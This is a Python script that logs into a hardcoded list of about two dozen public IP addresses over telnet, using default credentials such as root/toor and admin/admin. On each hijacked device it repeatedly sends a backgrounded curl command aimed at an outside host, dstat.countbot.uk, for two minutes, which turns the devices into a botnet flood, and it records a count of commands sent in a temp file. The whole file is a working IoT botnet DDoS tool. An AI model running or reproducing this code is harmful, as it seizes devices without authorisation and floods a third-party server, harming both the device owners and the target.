import socket, time, threading, json

bots = json.loads('[{"ip": "103.111.114.251", "port": 23, "user": "root", "pass": "toor"}, {"ip": "103.106.230.57", "port": 23, "user": "root", "pass": "toor"}, {"ip": "103.170.62.201", "port": 23, "user": "admin", "pass": "admin123"}, {"ip": "139.59.160.223", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "139.60.160.37", "port": 23, "user": "admin", "pass": "welcome"}, {"ip": "128.65.176.169", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "122.176.99.165", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "103.75.119.74", "port": 23, "user": "root", "pass": "toor"}, {"ip": "103.75.116.88", "port": 23, "user": "root", "pass": "toor"}, {"ip": "177.71.174.205", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "175.233.187.206", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "218.106.157.29", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "84.43.199.23", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "45.32.146.147", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "187.127.233.111", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "5.188.181.203", "port": 23, "user": "root", "pass": "toor"}, {"ip": "49.13.28.74", "port": 23, "user": "admin", "pass": "password"}, {"ip": "45.32.147.16", "port": 23, "user": "admin", "pass": "admin"}, {"ip": "89.47.165.9", "port": 23, "user": "admin", "pass": "123456"}, {"ip": "89.47.166.16", "port": 23, "user": "admin", "pass": "123456"}, {"ip": "45.32.19.127", "port": 23, "user": "root", "pass": "toor"}, {"ip": "139.59.99.253", "port": 23, "user": "root", "pass": "toor"}, {"ip": "45.32.102.225", "port": 23, "user": "root", "pass": "toor"}, {"ip": "218.106.156.133", "port": 23, "user": "admin", "pass": "admin"}]')
count = [0]
lock = threading.Lock()

def flood_bot(dev):
    ip, port, user, passwd = dev["ip"], dev["port"], dev["user"], dev["pass"]
    conns = []
    for i in range(3):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            s.connect((ip, port))
            time.sleep(0.05)
            data = s.recv(4096).decode(errors="ignore")
            if "login" in data.lower() or "user" in data.lower():
                s.send((user+"\r\n").encode())
                time.sleep(0.05)
                data = s.recv(4096).decode(errors="ignore")
            if "password" in data.lower():
                s.send((passwd+"\r\n").encode())
                time.sleep(0.2)
                data = s.recv(4096).decode(errors="ignore")
            try: s.recv(65536)
            except: pass
            conns.append(s)
        except: pass
    if not conns: return
    start = time.time()
    while time.time() - start < 120:
        dead = []
        for s in conns:
            try:
                batch = b""
                for _ in range(10):
                    batch += b"curl -s -o /dev/null http://dstat.countbot.uk:80/ &\r\n"
                s.send(batch)
                with lock: count[0] += 10
            except: dead.append(s)
        for s in dead:
            try: conns.remove(s)
            except: pass
        if not conns: break
    for s in conns:
        try: s.close()
        except: pass

threads = []
for b in bots:
    t = threading.Thread(target=flood_bot, args=(b,))
    t.daemon = True
    threads.append(t)
    t.start()
for t in threads:
    t.join(timeout=120 + 30)
with open("/tmp/_iot_result.txt", "w") as f:
    f.write(str(count[0]) + "\n")
